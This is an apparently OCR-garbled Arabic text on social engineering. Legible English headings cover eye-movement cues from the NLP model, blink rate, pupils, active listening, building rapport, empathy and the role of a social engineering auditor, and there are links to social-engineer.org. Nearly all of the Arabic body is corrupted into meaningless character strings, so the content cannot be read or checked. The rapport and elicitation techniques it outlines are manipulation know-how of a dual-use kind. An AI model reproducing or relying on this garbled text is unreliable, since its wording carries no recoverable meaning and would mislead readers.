SlaiLJl .L-bJasJl/t^ jaJl ^j^iiVn 6^lc (PupHs) <a.^a. .(JjjUII ^JjqM (JjjLojVI ^ a Uiajl jA CjIjjjxjII Aa^aJl CjUlalLujl AjSI j-g 

• (Pupils) { J. ht ^ C5^^ ^ .(Pupils) 4iL^ ^\ 1 >t 0 U' ^ j 

(Verbal In congruencies) c^^' JjUaiJI t^- 

Sanpaku 4- 

^jjjjj dlaJ j QjUjlaJl ^^ic (JjnirH (j^aUj A^JJ ^— ^a 4 3 Whites J' Sanpakll ^^>*^ ^-d^C- ^lUA ^jAJJI iasuJall dlaJ 

(Eye Cues) ^ ^J^! 

^ alia a Cjl&Laj! jjiC <iljaj (JjjUII Q\ dllaa-V (jj^J Lojj ^LdJl ^ ^ <J ^ 0^*^ UJ J (JjjUII (j-a 

olaJVl j ^KaaI] (Ja)£ a\\ jjxjoJI ^^ic ^jla ^Uaj jJjJaJ ^aJ ^5 .(JJJ^l Aj jaSJ ^ -W^J^ L#*-^ ^^>^- (J^ 1 * .Vqltj Cilia. .^jjjAaJJ LgAac 

^UjV! ^ c^Ull l^jll jlaL ^11 CjUUjVIj ^LuJ! ^^JU cii*lj c^il! "c5^^^" ^ jit W 9 .(JSlall ^ ij'^ 

.(Remembered) J (constructing) 



(Sensory Model) cr^t ^^j^t 


(Eyes Look) 


(verbal) cP 3 ^ 


(Sideways) W^W^ 


(visual) lsj^i 


(Up, to sides) u^^l 


(Kinetics) c^J^ 


(Down, to sides) u^fMl cM 



VC - Visual Constructed 




VR - Visual Remembered 


AC - Auditory Constructed 


V - Visual Constructed/Remembered 


AR - Auditory Remembered 


K - Kinesthetic 




Ai - Auditory Digital 





https://www.facebook.com/tibea2004 
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(Eye Cue Model) c«*J» 4- 

.djlj^La^l! FBI jii^ U 11a j^jj .^LjSlI 

*UJt" 6 jLii Ijj^ijj jSli s^lcU ^ jSj (JjjUII ^ j^31 jl Frogs into Princes ' ^ j^-j j^V 

'^j^^ c^j 1 ^ tgiljll .ujj^4j (ey^ accessing cue) Jj^»j ^j^j "(constructing) 

J] Jj^»j^ ^ uj^ l) l?^^ SjSlil! VUj' q\ lA£ .'(constructing) ^ ^ (Remembered) ^bjSill 

^ jL J^Lk ^ 4_iSai3 jjiil CjUU^jujVI S JjU^» A'&a) m \Aj!& jj^I jAj till J^i3l J UjljJ jii^VI ^ill 

"The Cop Stop Eye Cue Exercise" • 

L_fl^XJ q\ t . L^Jj ^jlj ^akjaJl ^1 ^JaJjudJ <llaj| <J^lj (jLalJ ^j) tilllc JjaJ! lA jjL^j] SjLljaJ Ciiajl ^JJJ^ ^ 1 U Clijl | jJjllljaJl 

(Blink Rate) lH^j 4- 

tajxll .a^^ c> 1/10 Jj^ ojUajVI Jaa. .(brains tachometer) <* <m^ ij'^ C&A\ 

^ jj^>i ^ jjJI lP 3 ^ j ^ j (Blink Rate) lP 3 ^ j^^ J^-^ ^ I .1 $ vft 

J^JI aj^Uj jSaj djj^JI .(blinks per minute (bpm)) ^ 20 c^j 10 ^ Ja»^ .k^ji* 

6^<» 50 C5^j 30 (> — ^ ♦ cJ'^*^^ ^ UJ^3^^^ daLaaLai ^^ic jj^Jal! AajHj JastjJallj <jJafj 25 20 (J -0 gaj 

.^aJt Jx^d ^^Ic ^U^V^ ^Ujl CjIjJ^g ^ 70 C5^j 50 L>* ^VAslJI ^J^^ ."jJ^-^ -^xjJa" lilli _<fljS^l| 



4 https://www.facebook.com/tibea2004 
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J <jJaJJ 50 C3J^ L>* ^>?^l ^ U^J ■C5 J ^ axi ^—^J L^l L>^ £J-^ J-*^VI ^J' ^ 6 (jj Jua ^H (3^-^11 L>^^ aJISIuiI l ; ^ cJ^-^- 

*Uj1 ^jxJI (j^j^ j ^LujIj^ Jj 11a j "Nixon effect" <*jj^JI cjIILJI Jc^ cjilLl .1^ <ia j^U c_ul£ Jll j <4iAJI 
http://www.social-engineer.org/wiki/archives/EYeMovement/EyeMove 

.Jajljll li& <j!)l^ (j-a <CjjoiJ (j;l*-ll (jlaxilj <J-^*-* L$jfi ^iLaloiJ J^J 6L_)Ua^J! <J^-^> yJJ'^,V (j^- ^-^J^ ^ 

http://www.social-engineer.org/wild/archives/EveMovement/EveMovement-Nixon.mov 

(Listening Your Way To Success) £*Jj ^ ^Sjjia Jl 

(jjjill tilj^j jl t . l^j >( ^cLg1^.I ^jjj.v^ ^ <j j£ (j>* ^.>.>ujj *y^- ^LdjjojVI .^LaiLaiVI (Jj^ aIgLui (Jj^j (jl (j^-^ ft^^lj bj^j* a^. jj V 

^LalLuiVlj ^joJI (jjj J j>Jl ^ > uJJ^)]i 

^jJaJ J^ilj fl ^juj 4il (jjjtaj JJo»C SAaI ^ ui Jj >>laJJ fr<< |ij ^^jju liAj ,4i^sLxijaaJ Lu» Z50 L>* UJ^°^J f^l (JjjUII (jl 6^lc ^JLuu 
#( ^cLal^.VI (jjj^i^ll <Jjou31j <J jjc. 4i£3j tAij JaJl aU^Jl <J^-^> (j^ UJ^^ C-H^ L>^ ls^ 0 

J^l J* <aJal<J| £>i& -( ^cL<U^.I j" 11^ ^^JLjuixJI J ^-L^jll (_£,J-G Jjoi^J jl £Jj^J 4 jLflJ jll S-UjuiVl (j-a lS^M UJ"^ ^ 

J ^aLoij <J-gI ^xJI dIa <J£ .AilalaJI Lq tJLL UiAlc tjlij t * a j^ u^j 6 <-!^ ^ Jj ^^jjojVI ^^>^ l>^j 6< ^^ ^UlLojVI CjIjI^ q±jj^1 

.CljUi j1s«-a3I Jill (j^aLkJl jjj^ill 

C±i\ j t^^LkJl ^SjC. Jj JJ^ jll ciL ^aLiJl Jl^ill L_fl^Jl ^jli 4<ia^J3l AjJa^ J UJ^ (j£3 J t!>l^jaJ J^JJ ^3 1^1^. LxaLoLQ 

.L-Jxjua li& ^UlLujV I (j\ i Jf^ll li^ 4jull<J laJaaJ j (JJ'vVM J ^j^jLkll (Jjiila J-<Ji (J^ L>^ Jj 

AluJI ;4jjjoo3! ^jl cJW^ J c5 J I^jj Lajj (jl jjjuj .la^. ^l<u.>.»VI J c_jc. jj CjlijV! J^-^- £y* ttilli £a 

Ui J] el n£ lij (3^*^ t — ^ j J uj^ c ~- 6 ^ .u^^ (j }\ ^IxJI til jLaJl (jc Sj£a j 6^j*ljbj 

4^>n ( LLL1 

U.a1>.^ (jl ( ,(jLi^.VI c-pasu J CjIaI^II (j>i J o^-^I o>» jll ^UjoiVI ^1 j^VI Jl CjlillVI 

jl JjLj V .(j j±\ sbt jl cikiU ^ dnxj V o- 3 ^ Ja jio dUjjI c_fl^JI *Uac] .(Pay attention) ^UiAV) -1 

.AilLxi L— Lujj] j tl^. AJ jjJaS <LjaJ tilli C-Ml .^^^ C5^l (J-a^Jl Jl Jajl ' JlL La Jc ^UuAU jj£jj]| J jl^. .tiLuL^aU 
cilk^ ( . ijju ^ j I j^jxi Jj^j jla c j^]| J 4JU3I ^Jj3 klaaJ du£ lij aJUII ^3jJ Jaiaiall j JjS j^»Vl J jiij VI IaaU. J jU. 

(jlasu (jjxlaaJjaj £>L^j*V! I^A (jlijl tillil JaJjuoll 1^. ( Jt > ^->ll (j* (jj^J (jl (j^J 1^ J .^-^ V ^Ijj ^UiajVI L_fl^Jl ^UaC-j jl 

(jl (j^J ^(^^j J^ 1 ^aJ 6 jjir > ^1 <C j-^ ^ jl Ajila II ^J ^Lja jA-^all .Ajlnll (J>»l ^sJU ^^^-Sj VI \ 1 ^jl (Jj^- .(JjjUII ^iaa ^L^Jl (JaslSI 
iA^. jll Cjljjiixj t LudaJI AJtl .Uiajl tCj^lL<Jl A-!j5J V Laj (jjJj ^aUuAl ^i^l tljj^lj .tilli CjjA^j ^ajoij V (j^aLkll jj£jj3I t - 1*1 

^UuAU l^Jl ^XLLalJ (jl L_L^J Jj^l jllI L_jj| ja. (j-G lA jjc. j 

jjjUj j a^JI <iJ ^ c_jli^ j (j£ .(Provide proof that you are listening) jaL«2 c^IS dij Jp JJj ^jjSj -2 

"Ajuz" tiljj lJ&^XJ L_fl^Jl (jl J (j^lj 6<jal£jjxi J^p {jl 

,L_fl^Jl ^iflJ cilLt-aJ (jl ^^.jxJl (j-d 4_xiLaaljVI J (JJjIjll *^U»jj 4 jilll J jJ <jK (jl till cJj^ (j^akjaJl jl£ lij m A -\\^\\ Aic S jJa > ^ djUiLaLLl 

<!Luj jll a jjlaj CjI jj^JI j A usy^s ual l dj|^ix-Jl ^-UjuJI .(Provide valuable feedback) cjUa^^U/cjUjiLA j^jj -3 

.^ISlall U ^ouil (jl tiljli t*Ui Jxii lij .1^ 4juUi tilijja J <x»^U3l 
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^^Ic L_laJ y\jtA (jl ^UjuJI (jj£j t <>J<" 4 1^1 J^S ^Uijjll *LajuJ| JC ^JfaJ ClAS (j] .4_L^a3l Cjli <llajVl ^J^ 3 (j* ^3 

(J^asu ^aJaJj Acl (j£Jj 6 L-jl j£ J^J^ ^jl^J (?> " w ^ V .U^jl \^ L^-^ AjuajujJ L— u£ Lq ^gJaJj jl (Jjj^C ^)a.Vlj (j£aJl (J£ 

^LuaVI ^ac Ja> Ui^JI <*LUL .4iUJI 6 aa ^ jiiil! ^IUa JIjj V JUL jl (j£«j .(Do not interrupt) £^ V -4 

.djAaj* tilli Asu ^3 ^l^VU ^-UjoJI JjJaaVl (j* . jt£aVI (Jsaj jjj ajoLU 

Jxij .^Liull j J ^a!^ ^1 jj (JjjjUJI ^Jaij <jla 4(3lx>JI C5^) ^ j jj^u ^-l^jj <J Ud^c .Sneakers 

^A 

L yA j^i tdia jll ^Sax-d (j£3 .SAja. (jjfL a5 ^UaajVI ^ 
du£ lij .<1loJI jl o^iaJI ^UIojVI CjIjI^ j& li^ .(Respond appropriately) i-^H a -5 

/'LuoA ^Lik ^^^i^- <La^ 15 ^-j^ 350 f U*^^ C5^" 6 <-!^ j j ^ c - di^a -s jj* - V <JL^)3! 

cdlajaJ ^jl (j^J L-Lujllo cJ^j^iJ AjL^JjujVIj ^ * a ^^ ^ t lata a ^^ic ^j-aj^Jlj c^UjL^jVI cJ*^^ ^J^J ^-Ukclj ; JAJ! jj3 jjj ;^UuAV1 ^^jj 

cisa jll (j^ao (jl JjS l_u£-<JI jl <J jl<JI ^jU^ill oi^ <jujjUui aSIj .Ajj^ <j^La-x» tl^JI ^ 5 . , i>.»j l_ u£ ^^jII CjU» jIslaII ^ j^^l 

.ciL (j^alaJl L_iAl j-<JI <jLojjj (j-d J AjjIjII A tjjjnll pj^!i3 Ala. £xiLaui u <aJ (jl Ajjj .Aj^La-xJl ^ Ulax ia.U3 

A-JHajj ojjojI 4^ C-aLudj Aa3 4 JlUl (J-IJjuo ^^ic , jliicVI (j^*J ftiawU (jl ( . laJ ^LqIjujVI (jxi ^)a.l t . Ijl ^ tiL <j^LaJl L_alal ^sl!I 
Asu -C5 J AjjouIU I Ala <lb ^1 lAA (jl ^a£3 <J jSLoj . laala ^jojU ^^1 ^^Jc CIjj^U oAal j dili (j£3 j 4^Ludi3l ^Ij^jl ^Ac C-LaLu .<-<ijU^ 
,CljL<i jlx-<Jl (J^asu (^^Jc J jj^aJl J jUal ^jjill (j-d cJ^-J <--JAaj| L_ li£ j ^ jJjou* ^^Jc. J-^cl du£ 4Aj^LaJl cillj (jxi SAjAc dil jloj 

All 4 cs ijjlj| A3 <Ljia3l dAA .lAa J;}C. <LjIaJ 4l^x» !>LaC ol^l (jc ClljAaJl IAj .4j^La-<Jl UIAjj ^^Lua-VI ^T-iJaj ^ 4_La ClJjjal 

^1 ^Al Uui 4AjaiaJl AjlSj ^^^a-j ^^ic ^JaJ (jl ( . laJ V (j^J jC-^auJl tillj ^1 jlaV \ lj - ^C> UiSj ^jl£ -C5 ia.b Jiu L-bJasJl (j-d J^^l CliAaj 
jlilij ^-LuJl ^aAxJ cilA^a. Jjlaj (jl ( . laJ 44jC.Uua.VI 4jojA^JI dilAalxjll j!>La ^LdlajVU J>»VI ^3!*!^ LdAic <jlxl3 UuS LojjJ CIiaLlj , JJaill 

.(Jjjiall C5 Ic J jj^aaJl ^ tiL <j^alaJI (AjI Jl 

Jxa. ^fl ^ ^^J tt1 J^^l 64 fi§ jl (j^aa-jaJl CjlAfllxxi ^ (Jal jj V Clu£ lij .(j^aajuJl (JjjJ j 4<!Loj^)3I ^ <Jclij J^Aj 4Ljaj| 

^ ^5^1*^ Uk^ ^aj (jl ciljlxu (JaljJ V A3 ^1 diVlaJl ^ .tilx^ <a.l JL jxJii q<~i\^\\ IaA 

l^J <ja ^ ^ t aUUMl ^ 4<J| ^luaJ tiljl ^lsu tilaAA ^Aj <Ljla3l dA^-J ^LaloaVla "4 jjSI I ^a Jij" Jjiiill cill£ <l3 4j\ ^ ^jll 

ii^IIaI 4jjojLujVI (_^jUa3I (j^asu 4ja1 <j! alu^VI (Jjj^c .^LalajVI (jj^^c) reflective responding j Ajjaiill &aa l_ a^xj .sUaJt 

> J^-^ J ^ ^AcLoaJ (jl (j£-oJ djAaJJ c flA^£ <J jx-uil Ai^x-d ,L_aial ^xll (j-a <JJJ ^^ic (jjS 4 J^)3l (Jlifl j (JJaJ LdAjc 

jA^\ aK< 4^li-lJl JlLd (JJjJ (j^lj 4(_^ jla-xJl jlj^J 
I it \ $ aLujJ (jl Jjlaj ^j3I 4JLuj^)3l J^jujj djljloxll &A& "(jl jAjj" jl "jAjj" 4 M 4il£j jAjj Iaa" 4(JlL<i ^Ldjlxi ^uc- 6jUc J^)3l f-Aj 
dul" :Jjii (jJ jl 4^UVI '^-JJ^ 6 J^J t° ^^^^ J^aaj ^1 4^jU3I SjaII ^ 4til3j JJj ^1 <alaj L_u£ 

^A 

Aajj Aal j (_^l (^jLaj 

.AilVl ^IjW* J <a.LuJ ^ lAa. Alixui 6 jS jUill ^Ulaj^l £a l^lAalajl AjIaI nVI jd^l^ 

^jjjAI^xJI L_flAA .I^JLAjujJ ^^lll 4JLuJ^)3l ^glc J^)3l ^^ic (iljjAa jj*^ ( — * J^J ^^"J- " L>^ ^ l-^- 3 J^ 3 ! l!^-^ A^aLujjS ^alxJJ IaK 

VJ *y , J V ^1^)^.1 ilajV L_flA^Jl t . uju^II jl 4^]| J j]| (jj^J VI < ; laJ ^^^juj jl Lft jl^-Q <J jj^ jllj 4djUi jlx-<Jl £-aa. j& ^^cLua-VI 
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t ■ Ujudll j& li& (j^Jj t^LolulVI Cj|jlg_xi <jaJjUuij ^aixJ (j>i (JjjLII L_flfj jJ Ullc. J^J J UJ^ ' ; ^ J 

jL^JI li& .I^j^j <cLoj 6^a3 ^-I^* M^j^ J £l cs-^ ^-^-LaixJ CjS jll <^-^ lit La cJ-^j I jlj-a J^ c>° £-^-1 j 

^jjj jl^JI tdjuj j Jc el u£ j _^U^£ ^■L.n ^l^aJLai! Jl ii <j^Lkll <LgLg£31j ^ill j c_iK AjJ 

.< ■ Aj£ 6^.1^)3 jl (jjJ^ilill (_>*axJ S^ALuLaj (Jjja ^ajJ (j* s.L^)lLai!ylI 

6<jLlXil A \ \\A*S Jl J^. iA\C* AxJJ (jl^-0 4il (J^aSU (JfiJ J D^cLauJl (J^XJ ^l^J 4il til^)f-*Jj tilJl J^ (J^*^ 3 

.3bB ^Lkjluj^l! Qji jLJI ciLSi j Jc C±& a £j£\ * yu^l aSjjVI J& J jj^JI ^V^ *j V <j1 j 

(j£jj jJjlljjaJl £a LjIa ^IAjJjojVI L_fl jjoJ (JjjLII a ^Ujl^ S-L^jlolVI XjJaJj lA jLaJ L_fl jjoJ jll CjIA jJjllljuJ! l$\ 

."(J jT.uirt" (jj^J V La^jc ^ajJ J| 4_Ll^ij cJj^-^ * L^VI Jc- jl 6<JjV1 jJjLjjuJI J O^cLotxJl ^AxJ < ■ Ujuj jl J^C X-G JL <— A 

djUc.^)3l ^ ^—3 jjoJ j J jAa. ciL^l V tUi (j^aauui x-g 4_^.I^)31j ^>xjuij LoJlic ^UjAj^VI ^ (jJ^>^ J (jjViq'U (JjjUII ?uLaJ 

.(rapport) <^^U 

(Building Instant Rapport) ^jj^ ^b*^ 

^jlaXJ l^J^ U^J '^J^ 1 ^ I^A (jl Sllc.] V .(Jjoillll (j>» *LlA&l Jj£l 4i^lxJl ^Uj (jj <Jj^ (jlS 6^ JJ 6<>ijaj| (jjjLaJ! (JaxJI (j-d J^j J 

_(_5 j^l <a^lx!l s-lij (ji J aaja^U ^0 

i^^ji" ; jjJala (j-<» a£j1uia!1 ^jujI jill .^^c-j!^!! ^jjoJI Jclilll (j^ajU^k jl CjUluJI ^aI ^ 6^.1 j" t^^A <a!>lxl3 Lj <— a^>*j 

,Ax_xi djAajj L— n£ ^ill (j^>^ /Ml ^ (jjoij Jc jl 6 ?? x-<i (jxil jj 

x-a Ai^lxJl JJjiaJ J ^jJuJ 

11a j dijl (jj£j <!UJI (j£3j <!UJI J < U Jj A-uAlU 
.4^Lu^V) 4^%S) 4i!^ J 1^1 Jllwit AJl£ j Ai^xSl f IL Jj^ LlH2) o^Uj AJUUl ^LwSVt 

(Be Genuine About Wanting To Get To Know People) ch^I <-S>Ut ^ ^ J 2 * Jj^ Oj^ ^ 

Ai^lc f.UJ ^^jojLojI -lajjoi .1^ ujjj^j (j^-ftJ t^s^t ^ toUaJl (jc A-ilac Igi! ?6^jAaJl (JjjUIU ^Uu^VU xlLdJjaaJ ?cil3 (JjjUII <;L<iAl (_^A^ La 

# A-LaA j 4 a>L (JjjUII (_^JJ (jl (j^J .(JJ^l (JJJ^ 
(JclijlLj xlLajjj (jjjUl! < . laJ (jl t . ^ix^xi I jjj^J (jl Jj ^^L^J (jjjUll tAilVI ^Ia^JjojI Jc ftj^lS (jj^Jj Ls c>\ al^l (jjj^i^xi (jj^iJ 

(j^L^ll ^UuaVI jjjlaj .' ^ ^^- <i A jll cjLgLu&VIj A-l^a jll djUiLaLLVI ^jjj ~* ^ ^Ull .(JjjUII (jc ^jj-aJ^ ^-3^>*-« J s-^-j^ " A 

(Take Care with Your Appearance) ^jf^ ^ 

4(jjilaJl jl 6jjoJl (jjl Jl JaJJ dill j La (JjjUII (J^axJ t^lUA 6L_Loj^U ,(jj^kVI ^ (^W^l xJ Jc JJjJ j3l J^VI (J^xj JjllxJ c^l^^j V 
t^joiaJl A^jIj ^(jjdJ^LJl JiLd (il^Jaxi L_ij| J ^aJllI iA'& (j^3 j t^UjoiVI Jc ojjnju^l V .Jc-lij (_^l Jj^ > >n j-<ix]| jl 

CjI JaUUI 

."L^ajl Ajl-g (jji^J^a I jjj^J V ^>^-VI (jiaxJl (jla 6<juoij x-d (JjjJ (j^aauaJl (jl£ lil" ;l^. 



890 



CjLJ£3!j jA\ ^UUI tt*S jLuJI 'o^J^ j& ^ o-aUJI <*jjill li] j ^ ^L^aUJI <*jjill ^ Ain Jc (jj£ 

li& i^L / ; ijuJ \a\\ (JjjUIIIj L_fljj^i3l (j>» ^£Lia ;<jjL^j <JL*cl t^L ^aL^JI <sujill li] _L_fla ^<JI li& J L* ^ uj (JjAxj ^^lill 

jllj JVI jl^all f^J J L>^ J* ^VUJI c>a3U J tilLlA j^Jl li& J dlaall (j>» J^ujI 4£!>lc JjL V j£] ISaJ 

(Be a Good Listener) 1^ <j£ J_ 

S iL^lil jl CjlalA^ ^ii^i (jl cJj^-^ el n£ ^1 ^juj .^ii^JI ^LdjjujVI J 4JlSU>JI (j^-aj V .J^j^lilill (j-a ^j-^ (3jUJI ^iaiL&ll ^-^.Ij 

(Be Aware of How You Affect People) lh^I j$3M 4^ J^Jpo* * 

?(jjoili3l ^Usu J] ^HaJ .^J (jLx^ajl Jc (jj£j <— A JJUJ (j-G Jc till} (_£^)^.VI A-L^kjuJl lilfjl j^. j tiljg ha J^Lj J <iiJ Jc (j£ 

^ill j t*L (j^aLiJ! ^ > >'MI jg hall J LnjaiJ ^jJal j ^^^joi V (jl (j-a ^Lill <! jLa^a i( jLLu>YI J jl ^ > J Jc- ^alaJall J j^. j ^a^C (j* 

.til&L^jl jjc. oL^jI Jl <j JL^jI Jc <— a jjuj ^ill (j^akjaJI lSj^h (jS-aaII (j-<i 
jl J^ L>a jj Jllj 67-38-55 Rules J cJj^ jUjI cjjJI (UCLA) J qM\ iU^i 

Lud^JI J (ja^l j/^; tilli (j>i jii£l (jl (j^ J t J j£j Lac ojUc ^ 4_j^UJI djVl^ajVI (j>» laaa Z7 Jj dlUL^a^VI 

(jl L— Ll^ ^^JjoixJI £A JcliiilU J jVI <iilkll ^1 ^aUuAl ^^Lj-J L^ajl (j^3 J ttiLiiij (jxi Jc (JjSj (jl <J .A-}J JJ^ll djUiiill j 

jii£l (jj^iJ J^f*^ J] ^ « dijS tit U» jl tL<» ^^^^juj (iljc l_jIc. Lajj <j| (ill cJj^j (jl g j Jc Jxill 

jj L_fl jjoj tdjli ciffic J U J£ tiL (j-aUJI Jl^ill cJ^JI jl£ lit .(JjjUI! Jc ^jjjIj J ^k Jc t^Ul^l ^ 
,Ai^jjoaj Uua jjjj l^-jl cil^ui^ 4Jl! j tiljl aK cilj^ ha (jjS 4jqj^ J .Ijjlm (Jj-^jj ^^ill (JjjUII Jc 

(Remember That Empathy Is Key to Rapport) <-i!aU^! <jl ^ 

"(_^^kl L_flSI j-d jl 6 jl^Sl 6 jcLauJU 6^)±iJl (jC Jj^J jl £A J^l \. v ^-jl Jc (JjJ J>»l3 (JJJjlA ^aj^jlj ^JsjujI Aij^SU ^aJ ( fljalaull 
Uu3 (j^akjaJ ^lal>.>iVI ttilli ^ j .La (j^>^ ni <S£jouJ (J^. (jl ^£S*J Clu£ lil ^xjoiJ (jl L-Jxj> ^ij L^ j jJl (JjjUII (jxi J 

^cljj J du£ jl Lo£ ^>*Aj (J^akjaJl cJ*-?^ (jl (j^^ JJ^V^I dil jl^-d ^I^JjojI ^aJ (j-d j 4<Ixil£Jl jcLulxJl ^-3 j ^j^j] jl^-d J 6 *^J^ 

<J^)^J ^aJj £A " J^ill ^J^j" ( ; l^J 4il .^-aJI <J ^Ll^l tiLIc Ld ^9 (jV t fljaLull L_flJ^3U ^aJ^ ^jjjjJall (j^ <j| Cj^Xjuj 

. j^I (j^ "ciSI jJt jt t jlSaVl j t jcLUI" 

^hVl (jl (j^J ^13^ cJ^^I J (JjjJ jl ■ UU 4L_LJalc. La (j^akjai I^UJ ^3 J^ _<a^)ial<i c qhl jC jl 4<jol^. tojjh^ Lajb C-Lau] 
dul _(_^^kl <!Lajjl (jVI W^jj ^-^1 t " < J > ''^ cJJ^ jSI ^ j>» tilaJ <Lj L_flljj^llj tiliJl Jl tiljl cJ;i^J .!>Lja Ua jjuj 

S Jail) j (j^*Jl celiac I til 4_j^aLkj ;^Ll!VI ^JIjV 3 g J uj o cillxi (jj^J ^fl .C5J^"^ (jc l^L> >n (jl ^UaJSj ^£31 L_ LLaij Ljajl 

JtSlli ^il LI .c_bJaiJt (jiaau Ale j^jj" ;!i& J JjU. ttSlli (j/i V^J J liA Al J jij (jl ^jjj dli^ (c_bJaiJl ojlaj) <j^iLJ| 



J jj^^JI J^ (j^J J^l (jl 6 J^I ^1 (jU>-^l ^b U^J J^ J -0 dlLal "'^ LdAlc L-LJaxSL dj^xjuj dj-<» Cljli ^^ijl lLi 

tdjl£ j ^-^Li tila^ cJ*^ ^ ^ A .) tLujJaxlQ jl lij^Tla tiliSaLu IAj lit Clll^ qhUMl jlg-hj <J Jlxlo (jj^J VI ^-a3I (j-« 

du^S ^aJ (jxi j 6 jcLulxJl (Jjoij ciliJ (jl dj^Jal j t^al^jl (jjJ (j-d (j^3 j ^-Ic^Vt J (JjjJalL ^tjaiJ ^U IgJ diajlicl LiA dlj| .<;ilc. Jlxla 

.<a!>UJI ^Uj j^J ^J^ 3 ^ (jl clA^ L_aJal*j3l .( . ilia 
^aJ )i) ,a^a a AljLufl f llu a iiljb jjsuill Jj ^U2) ^U^j .djjj^a (jj^ (jl o^-aj V 4i^UJl (jl i^l j jjI^j 

Jxij Clil£ LaLI (ji] j B 4odutjilt f ^Uj jl 4(jj^LA2l 4 J-aaJI f ^Uj cf liA^VI ctitUil^ j-a 4-uujLa-ail .4-uujLa-ail JjUi u flhUMl (j^a J 

L_jjjjaj Ld^ic .Aiifkll/SjLjall <jc! *l^.yi 4joj1^JI J Ullc - iklujj L^jI '<j>>i^U >cg cl al^VI (jjj^i^xJI obi (empathy) <-ilabuJt 

J^-juJI (j^ SbVl fii^ J*^ c?ill ^(^11 .tSlliA t flLLull a laJLiij U Ullc dinaJI ^Ul^VI j-^^ ^JlxJl J U jll-o J Lo 
J ^j^j dlia j^Jl jl 4 jmII tAlijaJl (j£L»VI Jc Ua. IgiV CjVI^JI (j>» J l^l^klaal Lg c\ <lL^.VI (JjjA^aII 1^ 

^Lijtilj (rapport) ^^>Ll!I J^ J^^j ^ ^ <J^ (jj^^VI <i^<J t aUi^iU jj^Ja <J*^ L<^ l-i>.>iij| J o.» 1 ^ ^ 
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Aj^jJa La Q ui (jj^J LdAlc 1,1a. ^laj^a li& (jl dlii Cilia ."l^-ilc (J jj^aaJl" tillj a (jjjlill l^Hc. (j-a J^ 4-3^1x11 (^5-^ ^(^^ V 

(JLoC-VI (j* IA^JJC. jl 4L_)j^)aJlj 4_fX_U Lit 

^ J AiiilU ULajjal! ^ jSj Jl 11a j .Ig-ia ^jjjlsu (jjill ^Ijl jcLaui "^ij" (jl (j^j (jtia.VI (j* J O^J*^ ls^ 0 ^J" 1 ^ 

,iS5UJl Cinj lil (JjjUII (jx Jala. 

CjUl^a J ^gjl2.i^l jl ^j^UIc I j^aa ^Jl (jjAill (j^ j J 9/11 ^ dixS j L*,iic. t<Jja (j-G j£i Lo£ 

.4_JI (jjy-uij <jl£ La UI jl to^jaJlj ;<JLJI "UL^jJal!" s-Vj^fc ( " V J^-^J 'sJJ°^ "*\. (JjjUII l— llx.a jll b 4jjIa j] 

Jll j^LUI 3juJj ciL^ uj^ J^- ' J*^ uj^ 5 ^r 1 ^ '{social engineering auditor) 4^1*^1 jsa^ 

4-iaJ a-g t t iW Jl Lia. JjJjoiJ 4 lallll £>i& .lilalxlLa (jj^J (jl 1.1a. L-Jxj ^->ll (j-a cJ*^ c J*^ J tali.* (jj^J Labile. .tgJ S^tiLaiVI <\j 

.^juo c fllalxjll j ^ > j ^£-ilc L_fl^xl3l J c*Lll UJ^ * duS lit ,^lxi (JjjUII 

(Be Well Rounded in Your General Knowledge) ^Ujk* jjjJj J li^ <j£ 

.Aj^U^JI ftj&lS J U±S til ^Vitjj ^UuA^U 

dj!>L<i lil Cilia. .(JJJjb J C5J^ UJ^ ^^LdlaVI (Jjj1^-a Jc 11J .^^C-Ldlal (jjjYlg ^ till ^^*J ^^1 Ajj^aljill jUj^i .Sjfl 4^ jslaJI 

(JlaJ ^31 > >ll j-<Jl (jC <jaj|jj| j tCla-Jl 66^ljill C-W^ V .L_fl^Jl (j-d L_j|jjaVI <JC L— LjAaij ^^^Jol ^1}^ (JJ^JjuJ Ai^X-<Jlj cilujlj 

(j-<» La cili^l j -0 cJ^ J ^J^f^- '"^c^ 1 c!^ Ai^>»-^" uj^j tj' CjUI jl L_fl^JI CjLgLua! 

" Ky^M JL^sjI L_1^1£j^q ^-^L^aV tik-G RJ-45 J^a t*^J Ja" : JLoiJ LoAlo (Jj^ajll ^ lJ^JI Jl jlajj ^su ^3 Jll 4i^x>Jl 

(Develop Your Curious Side) 4^ J>^* M 3 ^ 1 J^J^ 

(jl .t$J ^Uall ^5*1^ jll J^»VI ^Jjia J ja. jl^VI jl ^jl vfi* A) ^y^\ (_3^*-^ ^•^ c - Clj|i3l/(jjaii3lj ^IllcVI (j* ^Jlc- qjJAjSu (JjjUII 

^^^joi (_^l jl ^c^ 1 t° ^° U^ 1 ^ " 1 ^ L^^J j3l <L^)ia3l J;1*J (jl (j^J ^^A^-aJl jl Cj|i3l/(jjaii3lj ^I^JC-VI 

jj^flj J ja. J jjJaill Jjia tCljli3l/(jjaii3lj ^IllcVI (>« _<La. jll J^Ixj jl AJuoaJl Ajl! J J^aJ (jl (j^^ ^ J ^ J^^^ J 

j£ J^la. (j* 1 gqjj LlJ (j^J I^A j .Alloj ^al^A.1 jIAj^I (j* (jl 1 j£ (J jjJaill Jc ^\ lafll ^ ^11 , ^LlujVU f>g ^J*^ J (jJ^a.VI (JjjUII 

(j-a^xjjoj)j ^jiixi (JjSj (jl ciLlo ( ■ LaJ _C1jL<» jlst^Jl (j>» ^3^^ t . 1 ^^UolaII t . ilUl ^J^J LaJ IxjJal jlxi 

Uc; ( flllkj jlSflVl t*Uj CajIS j3 tU ^ jjJa ^ J ja. (jjj^-VI jlSaVl 

U3 jjJaa ^i^aj La Vic -c ^c.U»la.l jjc. (jjj,v^ ^11 jlaj A^a. j (j^ I jjisu V 4 Lalill .^^cLola.VI (JjjV^ ^11 JjIj V (Curiosity) J J> ^1 

J La-ujljj LdjU^ cilj j£ (jxi tililc lail aJ U3 jjJaS cilj j£ .(JJJ^I ^^>^ ^ J 1 liaJ djliill j djlilajll j (jj^kVI ^Lia. ( . ull > nl j^. 
U3 jjJaS JfJ (jl laJ > uJ du£ lil (j£J j dllc-l^a-V! jl tdjI^lsLxJl j £j > >il j-<Jl (J^asu J (3^JJ V ^3 (jLia-VI (J^xj J ,Ajj^kjoJl ^1£a.VI 
A^aJI (j>» V*AJ t4 ijt a <L^)IaJ li^ jjj^j jl 6(Jasu 4 j& liUJ ^9 <!jLa-xi (Jila. (jxi (j^aajaJl (j>» L-jIjjSVI iiUi ^ J^*J 

(Find Ways to Meet People's Needs) lh^I cjUL^i a#£1 jjla ^ d^l ± 

